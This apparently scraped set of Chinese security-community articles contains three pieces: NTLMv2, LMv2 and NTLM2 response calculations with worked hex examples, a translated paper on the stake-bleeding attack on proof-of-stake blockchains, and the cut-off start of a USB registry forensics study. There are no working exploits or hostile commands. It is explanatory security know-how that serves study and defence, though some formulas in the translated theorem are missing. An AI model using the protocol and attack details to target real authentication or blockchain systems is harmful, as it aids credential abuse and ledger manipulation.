4. 来自Type 2消息的质询与Blob连接在一起。使用16字节NTLMv2哈希（在步骤2中计算）作为Key，将HMAC-MD5消息认证代码算法应用于此值。结果是一个16字节的输出值。
5. 该值与Blob连接起来形成NTLMv2响应。
让我们来看一个例子。由于我们需要更多信息来计算NTLMv2响应，因此我们将使用前面提供的示例中的以下值：
| 名称 | 值
---|---|---
| Target: | DOMAIN |
| Username: | user |
| Password: | SecREt01 |
| Challenge: | 0x0123456789abcdef |
| Target Information: |
0x02000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d0000000000
|
1. Unicode混合大小写密码为” 0x53006500630052004500740030003100 “（十六进制）；计算出该值的MD4哈希，结果为” 0xcd06ca7c7e10c99b1d33b7485a2ed808 “。这是NTLM哈希。
2. Unicode大写的用户名与Unicode身份验证目标连接在一起，并提供” USERDOMAIN “（或十六进制的” 0x55005300450052004200444f004d00410049004e00 “）。使用上一步中的16字节NTLM哈希作为Key，将HMAC-MD5应用于此值，这将产生” 0x04b8e0ba74289cc540826bab1dee63ae “。这是NTLMv2哈希。
3. 接下来，构建Blob。时间戳是其中最繁琐的部分，添加11644473600将使我们在1601年1月1日之后获得秒数（12700317600）。乘以10的7次方（10000000）将得到十分之一微秒（127003176000000000）。作为小端64位值，它是” 0x0090d336b734c301 “（十六进制）。
我们还需要生成一个8字节的随机”客户随机数”；我们将使用不太随机的” 0xffffff0011223344
“。构造其余的Blob很容易；我们只是串联：0x01010000 （blob签名）0x00000000 （保留值）0x0090d336b734c301
（我们的时间戳）0xffffff0011223344 （随机的客户随机数）
0x00000000 （未知，但零将起作用）
0x02000c0044004f00 （我们的目标信息块）
4d00410049004e00
01000c0053004500
5200560045005200
0400140064006f00
6d00610069006e00
2e0063006f006d00
0300220073006500
7200760065007200
2e0064006f006d00
610069006e002e00
63006f006d000000
0000
0x00000000 （未知，但零会起作用）
4. 我们将Type 2challenge与Blob连接起来：0x0123456789abcdef0101000000000000
0090d336b734c301ffffff0011223344
0000000002000c0044004f004d004100
49004e0001000c005300450052005600
450052000400140064006f006d006100
69006e002e0063006f006d0003002200
7300650072007600650072002e006400
6f006d00610069006e002e0063006f00
6d000000000000000000
使用第2步中的NTLMv2哈希作为Key，将HMAC-MD5应用于该值，即可得到16个字节的值”
0xcbabbca713eb795d04c97abc01ee4983 “。
5. 此值与Blob串联以获得NTLMv2响应：0xcbabbca713eb795d04c97abc01ee4983
01010000000000000090d336b734c301
ffffff00112233440000000002000c00
44004f004d00410049004e0001000c00
53004500520056004500520004001400
64006f006d00610069006e002e006300
6f006d00030022007300650072007600
650072002e0064006f006d0061006900
6e002e0063006f006d00000000000000
0000
**LMv2响应(The LMv2 Response)**
LMv2响应用于提供与旧服务器的直通身份验证兼容性。与客户端通信的服务器很可能不会实际执行身份验证；而是将响应传递到域控制器进行验证。较旧的服务器仅传递LM响应，并且期望它恰好是24个字节。LMv2响应旨在使此类服务器正常运行。它实际上是一个”微型”
NTLMv2响应，如下所示（有关示例Java实现，请参阅附录D）：
1. 将计算NTLM密码哈希（Unicode大小写混合的密码的MD4摘要）。
2. Unicode大写用户名与Type 3消息的”Target Name”字段中显示的Unicode身份验证目标（域或服务器名称）串联。使用16字节NTLM哈希作为Key，将HMAC-MD5消息认证代码算法应用于该值。结果为16字节的值-NTLMv2哈希。
3. 创建一个随机的8字节client nonce（这与NTLMv2 blob中使用的client nonce相同）。
4. 来自Type 2消息的质询与client nonce串联在一起。使用16字节NTLMv2哈希（在步骤2中计算）作为Key，将HMAC-MD5消息认证代码算法应用于此值。结果是一个16字节的输出值。
5. 该值与8字节client nonce串联在一起，以形成24字节LMv2响应。
我们将使用一个久经考验的样本值通过一个简短的示例来说明此过程：
目标： 域
用户名： 用户
密码： SecREt01
challenge： 0x0123456789abcdef
1. Unicode混合大小写密码为” 0x53006500630052004500740030003100 “（十六进制）；计算出该值的MD4哈希，结果为” 0xcd06ca7c7e10c99b1d33b7485a2ed808 “。这是NTLM哈希。
2. Unicode大写的用户名与Unicode身份验证目标连接在一起，并提供” USERDOMAIN “（或十六进制的” 0x55005300450052004200444f004d00410049004e00 “）。使用上一步中的16字节NTLM哈希作为Key，将HMAC-MD5应用于此值，这将产生” 0x04b8e0ba74289cc540826bab1dee63ae “。这是NTLMv2哈希。
3. 创建一个随机的8字节client nonce。在我们的NTLMv2示例中，我们将使用” 0xffffff0011223344 “。
4. 然后，我们将Type 2challenge与客户现时串联起来：
0x0123456789abcdefffffff0011223344使用第2步中的NTLMv2哈希作为Key，将HMAC-MD5应用于该值，即可得到16字节的值” 0xd6e6152ea25d03b7c6ba6629c2d6aaf0 “。
5. 此值与client nonce连接在一起，以获得24字节LMv2响应：
0xd6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344
**NTLM2会话响应(The NTLM2 Session Response)**
NTLM2会话响应可以与NTLM2会话安全性（session security）结合使用（可通过”Negotiate NTLM2
Key”Flags使用）。这用于在不支持完整NTLMv2身份验证的环境中提供增强的保护，以抵御预计算的字典攻击（尤其是基于Rainbow
Table的攻击）。
NTLM2会话响应将替换LM和NTLM响应字段，如下所示（有关 Java中的示例实现，请参阅附录D）：
1. 创建一个随机的8字节client nonce。
2. client nonce被空填充为24个字节。此值放在Type 3消息的LM响应字段中。
3. 来自Type 2消息的质询（challenge）与8字节的client nonce串联在一起以形成session nonce。
4. 将MD5消息摘要算法（[RFC 1321](http://www.ietf.org/rfc/rfc1321.txt) ）应用于session nonce，产生16字节的值。
5. 该值将被截断为8个字节，以形成NTLM2会话哈希。
6. 获得NTLM密码哈希（如所讨论的，这是Unicode混合大小写密码的MD4摘要）。
7. 16字节的NTLM哈希值被空填充为21个字节。
8. 该值分为三个7字节。
9. 这些值用于创建三个DESKey（每个7字节）。
10. 这些Key中的每一个都用于对NTLM2会话散列进行DES加密（产生三个8字节密文值）。
11. 将这三个密文值连接起来形成一个24字节的值。这是NTLM2会话响应，放置在Type 3消息的NTLM响应字段中。
为了用我们先前的示例值（用户密码为” SecREt01 “，响应Type 2质询” 0x0123456789abcdef “）进行演示：
1. 创建一个随机的8字节client nonce；与前面的示例一样，我们将使用” 0xffffff0011223344 “。
2. challenge是将空值填充为24个字节：0xffffff001122334400000000000000000000000000000000000000此值放在Type 3消息的LM响应字段中。
3. 来自Type 2消息的质询与client nonce串联在一起，形成session nonce（” 0x0123456789abcdefffffff0011223344 “）。
4. 将MD5摘要应用于该随机数将产生16字节的值” 0xbeac9a1bc5a9867c15192b3105d5beb1 “。
5. 它被截断为8个字节，以获得NTLM2会话哈希（” 0xbeac9a1bc5a9867c “）。
6. Unicode大小写混合密码为” 0x53006500630052004500740030003100 “；将MD4摘要应用于此值将为我们提供NTLM哈希（” 0xcd06ca7c7e10c99b1d33b7485a2ed808 “）。
7. 将其空填充到21个字节，得到” 0xcd06ca7c7e10c99b1d33b7485a2ed8080000000000 “。
8. 该值分为三个7字节的三分之三：” 0xcd06ca7c7e10c9 “，” 0x9b1d33b7485a2e “和” 0xd8080000000000 “。
9. 这些值用于创建三个DESKey（如在我们之前的NTLM响应示例中计算的” 0xcd83b34fc7f14392 “，” 0x9b8f4c767543685d “和” 0xd904010101010101 “）。
10. 这三个Key中的每一个都用于对NTLM2会话哈希（” 0xbeac9a1bc5a9867c “）进行DES加密。这将产生结果” 0x10d550832d12b2cc “（使用第一个Key），” 0xb79d5ad1f4eed3df “（使用第二个Key）和” 0x82aca4c3681dd455 “（使用第三个Key）。
11. 这三个密文值被连接起来以形成24字节的NTLM2会话响应：0x10d550832d12b2ccb79d5ad1f4eed3df82aca4c3681dd455放置在Type 3消息的NTLM响应字段中。
**匿名响应(The Anonymous Response)**
当客户端建立匿名上下文而非真正的基于用户的上下文时，将看到“匿名响应”。 当不需要“已验证”用户的操作需要“占位符”时，通常会看到这种情况。
匿名连接与Windows“来宾”用户不同（后者是实际用户帐户，而匿名连接则根本没有帐户关联）。
在匿名的Type 3消息中，客户端指示“ Negotiate Anonymous”标志。 NTLM响应字段为空（零长度）； LM响应字段包含单个空字节（“
0x00”）。
### Type 3 消息示例
现在我们已经熟悉了类型3的响应，现在可以检查类型3的消息了：
4e544c4d5353500003000000180018006a00000018001800
820000000c000c0040000000080008004c00000016001600
54000000000000009a0000000102000044004f004d004100
49004e00750073006500720057004f0052004b0053005400
4100540049004f004e00c337cd5cbd44fc9782a667af6d42
7c6de67c20c2d3e77c5625a98c1c31e81847466b29b2df46
80f39958fb8c213a9cc6
此消息被分解为：
偏移量 | 值 | 说明
---|---|---
0 | 0x4e544c4d53535000 | NTLMSSP Signature
8 | 0x03000000 | Type 3 Indicator
12 | 0x180018006a000000 | LM Response Security Buffer:<br>Length: 24 bytes
(0x1800)<br>Allocated Space: 24 bytes (0x1800)<br>Offset: 106 bytes
(0x6a000000)
20 | 0x1800180082000000 | NTLM Response Security Buffer:<br>Length: 24 bytes
(0x1800)<br>Allocated Space: 24 bytes (0x1800)<br>Offset: 130 bytes
(0x82000000)
28 | 0x0c000c0040000000 | Target Name Security Buffer:<br>Length: 12 bytes
(0x0c00)<br>Allocated Space: 12 bytes (0x0c00)<br>Offset: 64 bytes
(0x40000000)
36 | 0x080008004c000000 | User Name Security Buffer:<br>Length: 8 bytes
(0x0800)<br>Allocated Space: 8 bytes (0x0800)<br>Offset: 76 bytes (0x4c000000)
44 | 0x1600160054000000 | Workstation Name Security Buffer:<br>Length: 22
bytes (0x1600)<br>Allocated Space: 22 bytes (0x1600)<br>Offset: 84 bytes
(0x54000000)
52 | 0x000000009a000000 | Session Key Security Buffer:<br>Length: 0 bytes
(0x0000)<br>Allocated Space: 0 bytes (0x0000)<br>Offset: 154 bytes
(0x9a000000)
60 | 0x01020000 | Flags:<br>Negotiate Unicode (0x00000001)<br>Negotiate NTLM
(0x00000200)
64 | 0x44004f004d004100 49004e00 | Target Name Data (“DOMAIN”)
76 | 0x7500730065007200 | User Name Data (“user”)
84 | 0x57004f0052004b00 5300540041005400 49004f004e00 | Workstation Name Data
(“WORKSTATION”)
106 | 0xc337cd5cbd44fc97 82a667af6d427c6d e67c20c2d3e77c56 | LM Response Data
130 | 0x25a98c1c31e81847 466b29b2df4680f3 9958fb8c213a9cc6 | NTLM Response
Data
分析表明：
1. 这是一条NTLM Type 3消息（来自NTLMSSP签名和3类指示符）。
2. 客户端已指示使用Unicode编码字符串（已设置”Negotiate Unicode”Flags）。
3. 客户端支持NTLM身份验证（NegotiateNTLM）。
4. 客户的域是” DOMAIN “。
5. 客户端的用户名是” user “。
6. 客户的工作站是” WORKSTATION “。
7. 客户端的LM响应为” 0xc337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56 “。
8. 客户端的NTLM响应为” 0x25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6 “。
9. 空的Session Key已发送。
10. 收到Type 3消息后，服务器将计算LM和NTLM响应，并将它们与客户端提供的值进行比较。如果它们匹配，则用户已成功通过身份验证。 | 社区文章 |
# POS共识区块链中的权益流损攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Peter Gazi，Aggelos Kiayias，Alexander Russell，文章来源：par.nsf.gov
原文地址：<https://par.nsf.gov/servlets/purl/10099216>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Absert
本文描述了一种在没有检查点（checkpointing）的情况下对权益证明（PoS）区块链的攻击，即权益流损攻击（Stake-bleeding
Attack）。该攻击利用交易费用、“脱离上下文”的处理交易的能力、以及标准最长链规则来完全支配区块链。攻击行为随着诚实交易的数量和攻击者持有权益的增加而增加，并且可以由任何控制不变权益的攻击者发起。
根据目前区块链协议的统计概况，在经过了之前几年区块链操作的情况下可以发起攻击；因此，这在PoS协议的可行性范围之内。最重要的是，它证明了交易费用和报酬与PoS协议的安全性紧密相关。
## 0x02 Proof-of-Stake
权益证明（PoS）区块链协议被设想为解决基于工作量证明（PoW）的区块链系统中矿工节点巨大能源需求的解决方案。
PoS是在比特币论坛的讨论中提出的，并采纳了以下原则：生产新区块链区块的权利应授予权益相关者，其概率与他们当前的权益成正比，正如区块链本身所记录的那样。可以想象，这样的区块链可以在不消耗大量实际资源的情况下产生理想的分类账本属性：无需花费大量能源来运行该协议。这样的协议自然会以系统中权益诚实大多数的假设取代了哈希能力诚实大多数的假设。
目前有许多PoS协议，例如PPCoin和NXT。最近还开始严格地对PoS设置中的安全性进行分析，从而产生了具有正式保证的协议，例如Algorand，Ouroboros，Snow
White 和Ouroboros Praos，将这些协议分为两类：
1）将某种形式的最长链规则应用于区块链的 **最终共识协议** 。在此设置中，块的不变性会随着在其顶部创建的块数而逐渐增强。
2） **逐块BA协议** ，该协议通过完全执行拜占庭协议（BA）来实现每个单个块的不变性，然后再继续生产任何后续块。
在上面列出的PoS协议中，Algorand是逐块BA协议，而所有其他协议都旨在最终达成共识。
## 0x03 Long-Range Attack
所有这些协议都必须面对远程攻击的问题，额外的后期腐败（posterior
corruption）表明，仅检查时间戳不足以应对远程攻击。实际上，攻击者可以尝试破坏在系统历史记录中某个时刻拥有大量权益的帐户相对应的秘钥。假设当前此类帐户所占的权益很小（甚至为零），那么它们极易受到行贿（或简单的失误），这会使他们的秘钥暴露给攻击者。有了这样的一组（当前低风险）密钥，攻击者可以进行远程攻击，在这种情况下，所产生的区块链在时域上的密度可能与诚实生成的公共区块链不可区分。
为了解决后期腐败和其他远程攻击，已采用了多种缓解方法（有时结合使用），可以将其分为三种类型：
（i）引入某种类型的 **频繁检查点机制** ，该机制通过为节点提供相对较新的块将节点引入系统。
（ii）使用密 **钥演化密码学** （key-evolving
cryptography），该技术要求用户演化其秘钥，以使即使在完全暴露其当前秘密状态的情况下也无法伪造过去的签名。
（iii）加强严格的 **链密度统计** （strict chain density
statistics），其中在协议的任何步骤的预期参与者数量是已知的；因此，表现出显著较小参与的被替代的协议执行历史可以立即被视为对抗性的。
在上述PoS方案中，所有最终共识协议（即NXT，PPCoin，Ouroboros，Snow White和Ouroboros
Praos）均采用第一种缓解策略并采取某种形式的检查点。 Ouroboros
Praos采用第一种和第二种方法（密钥演变签名）来额外处理自适应破坏，而Algorand则采用第二种和第三种方法（严格的链密度统计）达到相同的目的。
但是，这带有明显的模型限制：要使任何类型的检查点正常工作，节点必须要么经常在线（因此它们采用从网络作为活动参与者接收的最近检查点块），要么在接收到可靠（受信任）信息时长时间离线后（或首次加入时）引入（重新）引入系统。这相当于系统安全运行所必需的额外信任假设，因此在分布式，无许可的设置中显然是不希望的。
类似地，强制执行严格的链密度统计需要可靠地估计协议任何阶段的参与者数量，并且还存在模型限制：协议将无法在允许任意数量的参与方被执行的环境中运行。另一方面，密钥演化密码学是一种更具算法缓解力的模型，对模型的要求最低：节点应仅具有擦除私有状态的能力。只要有可能，算法缓解措施似乎显然比模型限制措施更可取。
远程攻击的系统化表示，它们的要求以及可以减轻它们的方式，如上图所示。如果取消检查点机制，权益流损攻击将对所有当前提出的最终共识PoS协议产生不利影响。因此，在将来从这些协议中删除不希望的检查点机制时，以及设计不依赖检查点的新的最终共识PoS协议时，都必须考虑到这一点。在交易中引入上下文制约性是一种简单的算法缓解机制，因此可以将其添加到PoS区块链协议的设计库中，以放宽模型假设，例如可忽略的交易费用或频繁的检查点。
## 0x04 The Computational Model
即使是在为区块链协议提供许多优势的计算模型中，也可以发起权益流损攻击。
•攻击者无需控制消息传递：攻击可以在完全同步的通信和计算环境中发起，所有消息（包括攻击者生成的消息）均通过可靠的广播传递。
•攻击者不需要动态腐败：攻击可以由在执行开始时确定的固定对抗方集合发起。
•攻击者不需要引入新的参与者或停用诚实参与者：攻击可以在静态的完全参与的参与者中进行。
下面概述了一个简单，强大的计算模型，反映了上述功能。采用如此强大的模型只会扩大攻击的适用性和强度，可以在典型的区块链模型中启动，从而为攻击者提供更大的力量。
**a）时间，时隙和同步性：**
考虑一种将时间明确地划分为称为时隙的离散单元的设置；参与方配备了指示当前时段的同步时钟。该模型还允许可靠，同步的广播：各方可以在每个时隙的开头广泛广播一条消息，然后在该时隙结束时将消息可靠地传递给所有其他方。
**b）对抗性腐败**
：该模型涉及固定的参与方U集合。模型中的攻击者A与固定的对抗性方子集相关联。将符号A以表示对抗方子集；诚实方集表示为H。诚实方始终处于活动状态，接收其他方发送的所有消息，并遵循所考虑的协议。攻击者在每个时段都被激活，并且可以任意指挥攻击者一方的行为。请注意，攻击者发送的消息会受到广播限制-它们会同步传递到所有诚实方。
**c）INIT功能：** 初始股权和交易的环境：模型与（理想化的）初始化功能INIT相关联。
INIT功能由初始权益分配参数化。这是给参与者分配的非负数，写成S0 =((U1,s1),…,(Un，sn))。
功能INITS0的操作如下：
•在进行各方的任何计算之前，该功能会为每个方U∈U确定一对公钥和私钥(pkU,skU)。
•在协议期间，该功能使用skU（用户U的私钥skU）响应来自格式为key的用户U的消息。
•在协议期间，该功能以“创世模块” B0响应genesis_lock形式的任何消息，其中包括初始权益分配和与用户相关联的公钥
该模型引入了另一个实体：环境Z。在环境中，环境仅负责生成交易，这些交易作为各方的输入提供。特别地，在协议的每一轮中，环境可以向各方提供交易的集合。具有（U，U’，s）形式，要求将s的股份从U方转移到U’方。
（对于攻击，仅将环境视为交付给各方的固定交易时间表就足够了。请注意，典型的区块链安全模型将赋予环境更大的强大力量：攻击者的信息通道，自适应选择交易，消息传递的安排等）
最后，给定初始化功能INITS0和环境Z，协议的执行由生成块B0、各方的密钥、环境交付给参与者的交易顺序，以及参与者广播的整个消息序列组成。
## 0x05 Blockchains, Ledgers and Proof-of-stake Protocols
**a）交易分类账本属性：**
区块链是一种与每个时隙（最多）一个块关联的数据结构。除了特定于协议的元数据外，各个块还包含一组交易。在上述模型的上下文中，假设创世区块B0在与时间0相关的任何区块链中均显示为默认初始区块。一个链也立即进行股权分配SC，通过将链中的交易应用于创世区块的股权分配来实现。对于区块链C，让C⌊i表示通过删除最后i块获得的C的前缀。
直观地，区块链协议Π允许各方集合共同维护一个公共分类帐本。将关注于实际上在每个时间点为参与者维护一个单独的分类帐本的协议；协议Π的适当持久性和可用性特性可确保公共分类账本的概念：
**持久性：**
一旦系统的某个节点宣布某笔交易tx稳定，则其余的诚实节点（如果被查询）将要么在分类帐中的同一位置报告tx，要么不会报告任何与tx有冲突的交易。在这里，稳定性的概念是由安全性参数k参数化的断言。具体来说，当且仅当交易出现在C⌊k中时，它才被宣布为稳定交易（由拥有C链的一方）。
**可用性：**
如果系统中所有诚实节点都试图包括某个事务，则在经过与相对应的时间u（称为事务确认时间）之后，如果所有节点被查询并做出诚实响应，它将报告该交易稳定。
直观地讲，安全的区块链协议保证这些特性由诚实方持有的账本（记录在区块链中）拥有，在对手A的适当约束下。
**b）链选择规则—最长链规则：**
将注意力集中在由链选择规则定义的协议上：协议的每个步骤都要求某些参与者广播区块链；参与者然后采用选择规则，这可能导致用广播链之一替换其本地链。关注“最长链规则”：检查广播区块链的有效性（一种依赖协议的属性），然后采用最长有效链，包括参与者持有的链。
（长度仅是块的数量；为具体起见，假设联系在字典上是断开的）
**c）权益证明协议：** 关注通过权益证明协议Π维护的分类账 本，该账本赋予将链扩展到参与者U的权利，该概率与U在该链中的权益（前缀）成正比。
权益比例增长。SC⌊i，由C⌊i导致的权益分配，允许一方扩展给定链C的概率（表示为ExtendOpportunityΠ的事件）与在该方控制下的权益成正比。
i是协议特定参数，通常与上述安全参数k有关。
**d）相对权益和诚实大多数：**
作为一种符号，对于一组X的参与者和一个权益分配S，用S（X）表示参与者在X中所持的股份。在执行区块链协议的特定时刻（通常从上下文中可以理解），让αX∈[0，1]表示X中各方的相对权益。具体来说，是SC（X）/
SC（U），其中C是诚实用户的链。
（请注意，由于广播假设，所有诚实的参与者在每个时隙中都拥有相同的最长有效链。）如果协议的每个步骤中的αA<1/2，则具有诚实大多数执行Π。
**e）区块奖励和交易费用：** 大多数区块链协议都涉及某种形式的区块奖励和交易费用。为了能够对所有考虑的协议做出通用声明，引入以下符号：
FeesΠ(E,i)表示Z在执行E的时隙i中创建的所有新交易的总费用（占总权益的一部分）。
rewardsΠ(C,i)表示由协议Π创建并提供给在时隙i中在区块链C中创建区块的一方的代币总数。
transfersX→Y(C,i)表示时隙i中区块链C上从X中的参与者转移到Y中的参与者的总金额。
## 0x06 The Stake-bleeding Attack
在协议Π定义的通用权益证明区块链的上下文中，首先非形式化地描述攻击的运作方式。为了简化表示，始终假设攻击者控制一定比例的股份αA<1/2。攻击者A模拟诚实协议，并维护该协议规定的当前区块链的本地副本（表示为C）。此外，它还维护了一个替代的区块链Cˆ，该区块链最初是空的，对诚实参与者来说是隐藏的。
攻击者在每个时隙中根据协议的规则检查是否允许扩展链C或Cˆ。它忽略了扩展C的所有机会，因此根本没有对C的增长做出贡献。另一方面，每当出现扩展Cˆ的机会时，A便用一个新的块来扩展Cˆ，并将诚实链Cˆ中尚未包括在Cˆ中并且在Cˆ上下文中有效的所有交易插入该新块中。
（或Π规则所允许的数量）。这使A有权（在Cˆ上）获得任何块创建奖励和来自所包含交易的任何交易费用。
随着协议的发展，C和Cˆ都将以极大的概率增长，而C增长更快。由于授予C中区块创建者的区块创建奖励，A在C上的相对权益可能会减少，但由于区块奖励和交易费用，其在链Cˆ中的相对权益将会增加。在关于交易费用和大笔奖励的相对大小的一些现实假设下，Cˆ的对抗性相对权益最终将超过C的诚实相对权益。
从这一点开始，链Cˆ（比预期中）的增长快于C链，并最终变得更长。如果使用普通最长链规则，则A现在可以通过发布Cˆ轻松违反分类帐本的持久性，之后所有诚实方都将采用Cˆ。而且，如果A在发布之前将交易添加到Cˆ的末尾，在该交易中A将足够的股份转让给诚实方以不再控制多数，则它不会违反“诚实大多数”假设。
上图中给出了执行攻击的对手的更简洁描述。该描述使用ExtendOpportunityΠ（C），只要允许A根据Π规则扩展给定链C，就为true。另外，从攻击者的角度来看length（C）表示链C的长度。
## 0x07 Attack Analysis
权益证明协议Π必须满足几个属性才能使攻击成功，主要需求是：
**（i）没有频繁的检查点：**
协议必须按照最长链规则操作：在诚实方看到的所有有效链中，规定它们采用最长的链。尽管可能会偏离此要求，但Π必须一定要允许很久以前的重组：如果指定了最大重组深度且规模很小（即Π不允许诚实参与者更多地改变其对主链的看法，即使有一个更可取的候选链），也不会超过过去的几个区块（或时隙），则该攻击不适用。
**（ii）存在交易费用：**
协议Π必须涉及交易费用，或更广泛地说，涉及从交易方到维护分类账的方的任何代币转移。更详细地讲，只有在Cˆ最终比C增长快时，攻击才会成功。由于C的增长速度（分别为Cˆ）与诚实方在C中的相对权益（Cˆ对手的相对比例）成正比，因此需要后者最终超过了前者。当攻击者创建一个区块时，在每个时隙i中，Cˆ中攻击者的相对权益都会增加：
•此块的奖励为Π(Cˆ,i)；
•从诚实方到攻击方的所有转移H→A(Cˆ,i)；
•所有费用
对于包含Cˆ中包含前一个块的时隙i’之后的所有时隙j≤i。
另一方面，当通过奖励Π(C,i)在C中创建区块时，诚实的参与者在C中的相对权益在每个时隙中都会增加（不收取任何feesΠ，因为C中的所有费用均由诚实的参与者支付）
**（iii）上下文无关的交易：** 根据Π产生的有效交易必须忽略在区块链中使用交易的上下文：Π必须允许A从C进行交易，并在Cˆ的不同上下文中使用它们。
**（iv）低增长链的有效性：** 协议Π必须支持“沉睡的大多数”，以确保仅由少数攻击者扩展的链Cˆ（因此在其开始时链增长很小）仍然根据规则被认为是有效的。
在以下定理中，根据初始对抗性权益αA和每个时隙中的交易产生的费用数量，来估算进行攻击所需的时隙数。为简单起见，即使攻击对任何常数αA>
0起作用，也分析1/3 <αA<1/2的情况。
定理1：设Π为权益证明增长满足上述条件（i）-（iv）的权益证明区块链协议。考虑使用图3中给出的对手A来执行协议Π。
对于C’∈{C，Cˆ}且所有i> 0都满足执行E的要求。1/3 <αA<1/2表示对手A的初始相对权益。T表示长度为（ Cˆ）>长度（C）。有：
**证明：** 设P∈{A，H}，C’∈{C，Cˆ}的αC’P[i]且i>
0表示时隙i中链C’中的一组参与者P的相对权益（A和H分别表示对手和诚实方）。另外，从对手的角度来看，令length **i**
(C’)表示时隙i中的链C’的长度。然后，由于权益比例增长假设，不等式E [length **T** (Cˆ)]> E [length **T**
(C)]转换为：
由于奖励Π（C’，i）= 0且C中的费用全部由诚实方支付（和接收），因此对于所有i> 0，都有:
在某个时隙i处C和Cˆ的长度由每个≤1≤j≤i的时隙的独立随机变量之和确定。
首先，专注于1/3
<αA<1/2，否则定义T2的事件将永远不会发生。但是，很容易看出，虽然攻击得益于较高的（低于50％）初始对抗性权益，但也可以通过对αA<1/3进行稍加修改的分析来进行攻击。
其次，假设零块奖励和从H到A的转移。但是请记住，transfersH→A(C,i)完全受环境控制
（这是为了表明区块链协议的安全性不依赖于要存储在分类账中的交易的任何特定假设；相反，它必须针对任何此类交易序列安全地运行）因此对于任何rewardsΠ(C,i)，可以通过设置transfersH→A(C,i)来简单地实现相同分析的情况，以使C中的诚实股权比率保持恒定（因为Cˆ中的对抗性股权比率将不断增加）。另一方面，非零rewardsΠ(Cˆ,i)只会使攻击成功更快。
通过更仔细的考虑可以获得更优边界T≈（2-4αA）/ f。
## 0x08 Implications for Existing PoS Protocols
现在总结一下各种PoS协议在多大程度上满足了之前描述的前提条件，主要关注最终共识协议，也指出了攻击概念在逐块BA设置中的适用性。
所有最终共识协议都采用某种形式的检查点，以防止后期腐败攻击。这种一般的对策可以防止权益流损（以及任何其他远程攻击），并且可以以小规模（和模型限制）的方式进行。有趣的是，如果取消检查点，则所有考虑的最终共识构造都将容易受到流损攻击，因为它们都满足条件（ii）-（iv）：它们使用交易费用，交易是上下文相关的-遗忘和低增长链被认为是有效的。。
**NXT和PPCoin：** NXT协议仅允许重组最后的720个块，因此形成了所谓的移动检查点，并且违反了条件（i）。
PPCoin中采用了类似的检查点机制。
**Snow White：** Snow White协议还使用移动检查点来防止后腐败攻击，并且如果没有它，也很容易受到权益流损攻击的影响。
**Ouroboros：**
使用移动检查点作为其maxvalid链选择规则的一部分，以中和远程攻击。如果没有检查点，那么Ouroboros将不容易受到后期腐败和权益流损的攻击，因为它不使用密钥演化的加密技术。
**Ouroboros Praos：**
使用与Ouroboros相同的maxvalid链选择规则，强加了移动检查点。如果没有这种对策，那么由于其使用密钥演化签名来签名区块，Ouroboros
Praos仍将消除后期腐败攻击。但是，这很容易受到权益流损攻击的影响。
正如已经讨论过的， **Algorand**
并不是最终的共识协议，而是遵循逐块BA。尽管如此，可以考虑对Algorand进行权益流损攻击的核心思想的适用性，其目的是创建另一种区块顺序，并利用权益流损来获得那里的临时多数股权。但是对于Algorand而言，这种攻击是通过要求足够多的利益相关方来证明逐块BA的结果而得以防止的，这可以视为违反了（iv）。实际上，Algorand强制执行严格的参与规则，因此始终可以以模型限制的方式找到正确的协议执行。
## 0x09 Mitigations
**a）时域中的最小链密度：**
可以用来减轻权益流损攻击的第一个结果是，的攻击产生的区块链有一段时期，在这段时期内区块链的密度为比较稀疏。接下来阐明密度的概念：在所有PoS协议中，允许某些参与方可能并非一直在线（尽管事实是他们被选为参加协议）。通过观察区块链可以发现他们没有参与。例如对于Ouroboros，将有许多时隙留空，没有相应的块；其他协议中也存在类似的可观测量。这允许协议检测和清除具有此缺陷的区块链，从而将其与诚实方生成的正确区块链区分开。
**b）上下文制约性：**
权益流损攻击的基本特征是“脱离上下文”进行交易，也就是说，将其从诚实维护的区块链复制到攻击者维护的私有区块链。防止这种情况发生的一种非常简单而有效的方法是在每个事务中包括“上下文”，即最近块的哈希。
## 0x10 Conclution
本文提出了一种新型的远程攻击，称为权益流损攻击，适用于在没有任何模型限制假设的情况下运行的所有最终共识PoS协议。鉴于当前的加密货币统计数据，权益流损攻击将需要多年的区块链历史才能成功，因此它们并不是紧迫的问题。
但是，它们从密码学角度指出了重要的设计考虑因素。它们显示了在不依靠后期腐败的情况下进行远程攻击的可能性。从中可以很容易地推断出，密钥演化加密本身不足以缓解远程攻击，需要研究其他算法缓解措施，可以在不受信任的、未经许可的环境中阻止长期攻击，而无需使用检查点或其他方法。 | 社区文章 |
# 第四部分：USB设备的研究——测试环境及注册表在首次插入设备时的变动
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://nicoleibrahim.com/part-4-usb-device-research-usb-first-insert-results/>
译文仅供参考，具体内容表达以及含义原文为准。
在之前的文章中，我提出了我的研究目标，并介绍
了三个主要的USB传输协议：MSC，PTP和MTP；以及每一个的一些基本信息。然后，我论述了一些围绕Windows对于一个新插入的设备如何去给它选择驱动程序的基本概念。在本篇文章及即将到来的文章中，我涵盖我的研究发现，包括测试环境和运行测试所用的各种各样的程序。在本篇博文中，我会讲到注册表项在一个USB设备首次插入时的不同变化，并对照到不同的传输协议进行探讨。
**1.0测试环境**
在表1.1.1中是用来辅助测试的测试环境详情。所有的测试都是使用的虚拟化软件WMWare
Workstation。在运行测试之前，会捕获基准报告，然后开始测试，最后会捕获操作系统的变化并生成最终报告。然后，相关的文件会被复制和编目。收集完数据后，虚拟机会恢复到一个干净的快照，以在未来的测试中保证一致性。
**1.1额外的考虑**
由于虚拟机软件的局限性，我们的分析不能在USB3.0设备上进行。即使我们在测试中使用USB3.0设备，那么到了虚拟机中也会自动被降级为USB2.0。
此外，MTP和PTP设备的测试是使用了有限的数量和部分种类进行的，所以，对于是否支持其它未测试种类的设备来说，可能考虑的范围有限。
表1.1.1 测试环境：USB传输协议的识别和研究
**2.0测试1：第一次插入设备对注册表的影响**
